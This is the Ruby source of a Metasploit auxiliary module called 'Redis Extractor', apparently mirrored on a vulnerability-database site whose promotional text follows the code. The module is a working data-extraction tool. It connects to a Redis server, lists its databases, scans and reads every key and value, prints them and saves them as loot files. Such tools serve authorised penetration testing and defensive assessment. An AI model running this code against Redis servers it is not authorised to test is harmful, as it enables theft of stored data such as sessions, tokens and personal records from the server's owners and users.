##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Redis
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Redis Extractor',
'Description' => %q{
This module connects to a Redis instance and retrieves keys and data stored.
},
'Author' => ['Geoff Rainville noncenz[at]ultibits.com'],
'License' => MSF_LICENSE,
'References' => [['URL', 'https://redis.io/topics/protocol']],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
register_options(
[
OptInt.new('LIMIT_COUNT', [false, 'Stop after retrieving this many entries, per database', nil])
]
)
end
MIN_REDIS_VERSION = '2.8.0'.freeze
# Recurse to assemble the full list of keys
def scan(offset)
response = redis_command('scan', offset)
parsed = parse_redis_response(response)
raise 'Unexpected RESP response length' unless parsed.length == 2
new_offset = parsed[0] # cursor position for next iteration or zero if we are done
keys = parsed[1]
results = []
keys.each do |key|
value = value_for_key(key)
if value
results.push([key, value])
end
end
[new_offset, results]
end
def value_for_key(key)
key_type = redis_command('TYPE', key)
return unless key_type
key_type = parse_redis_response(key_type)
case key_type
when 'string'
string_content = redis_command('get', key)
return unless string_content
return parse_redis_response(string_content)
when 'list'
list_content = redis_command('LRANGE', key, '0', '-1')
return unless list_content
return parse_redis_response(list_content)
when 'set'
set_content = redis_command('SMEMBERS', key)
return unless set_content
return parse_redis_response(set_content)
when 'zset'
set_content = redis_command('ZRANGE', key, '0', '-1')
return unless set_content
return parse_redis_response(set_content)
when 'hash'
hash_content = parse_redis_response(redis_command('HGETALL', key))
return unless hash_content
result = {}
(0..hash_content.length - 1).step(2) do |x|
result[hash_content[x]] = hash_content[x + 1]
end
return result
when 'none'
# May have been deleted in the interim
return nil
else
return 'unknown key type ' + key_type
end
end
# Connect to Redis and ensure compatibility.
def redis_connect
connect
# NOTE: Full INFO payload fails occasionally. Using server filter until Redis library can be fixed
if (info_data = redis_command('INFO', 'server')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
print_good("Connected to Redis version #{redis_version}")
end
# Some connection attempts such as incorrect password set fail silently in the Redis library.
if !info_data
print_error('Unable to connect to Redis')
print_error('Set verbose true to troubleshoot') if !datastore['VERBOSE']
return
end
# Ensure version compatibility
if (Rex::Version.new(redis_version) < Rex::Version.new(MIN_REDIS_VERSION))
print_status("Module supports Redis #{MIN_REDIS_VERSION} or higher.")
return
end
# Connection was successful
return info_data
rescue Msf::Auxiliary::Failed => e
# This error trips when auth is required but password not set
print_error('Unable to connect to Redis: ' + e.message)
return
rescue Rex::ConnectionTimeout
print_error('Timed out trying to connect to Redis')
return
rescue StandardError
print_error('Unknown error trying to connect to Redis')
return
end
def check_host(_ip)
info_data = redis_connect
if info_data
if /os:(?<os_ver>.*)\r/ =~ info_data
os_ver = os_ver.strip
print_status("OS is #{os_ver} ")
end
if /keys=(?<keys>\S+),expires=/ =~ info_data
print_status("Redis reports #{keys} keys stored")
end
if /used_memory_peak_human:(?<bytes>.*)\r/ =~ info_data
bytes = bytes.strip
print_status("#{bytes.chomp} bytes stored")
end
end
disconnect
return info_data ? Msf::Exploit::CheckCode::Appears : Msf::Exploit::CheckCode::Unknown
end
def get_keyspace
ks = redis_command('INFO', 'keyspace')
ks = parse_redis_response(ks)
ks = ks.split("\r\n")
result = []
ks.each do |k|
if /db(?<db>\S+):/ =~ k && /keys=(?<keys>\S+),expires/ =~ k
result.append([db, keys])
end
end
return result
end
def run_host(_ip)
if !redis_connect
disconnect
return
end
keyspace = get_keyspace
max_results = datastore['LIMIT_COUNT']
keyspace.each do |space|
if max_results
amount = "#{[space[1].to_i, max_results].min} of #{space[1]}"
else
amount = (space[1]).to_s
end
print_status("Extracting about #{amount} keys from database #{space[0]}")
redis_command('SELECT', space[0])
new_offset = '0'
all_results = []
loop do
new_offset, results = scan(new_offset)
all_results.concat(results)
break if max_results && all_results.count >= max_results
break if new_offset == '0'
end
if all_results.empty?
print_status('No keys returned')
next
end
# Report data in terminal
result_table = Rex::Text::Table.new(
'Header' => "Data from #{peer} database #{space[0]}",
'Indent' => 1,
'Columns' => [ 'Key', 'Value' ]
)
all_results.each { |pair| result_table << pair }
print_line
print_line(result_table.to_s)
# Store data as loot
csv = []
all_results.each { |pair| csv << pair.to_csv }
path = store_loot("redis.dump_db#{space[0]}", 'text/plain', rhost, csv.join, 'redis.txt', 'Redis extractor')
print_good("Redis data stored at #{path}")
end
disconnect
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation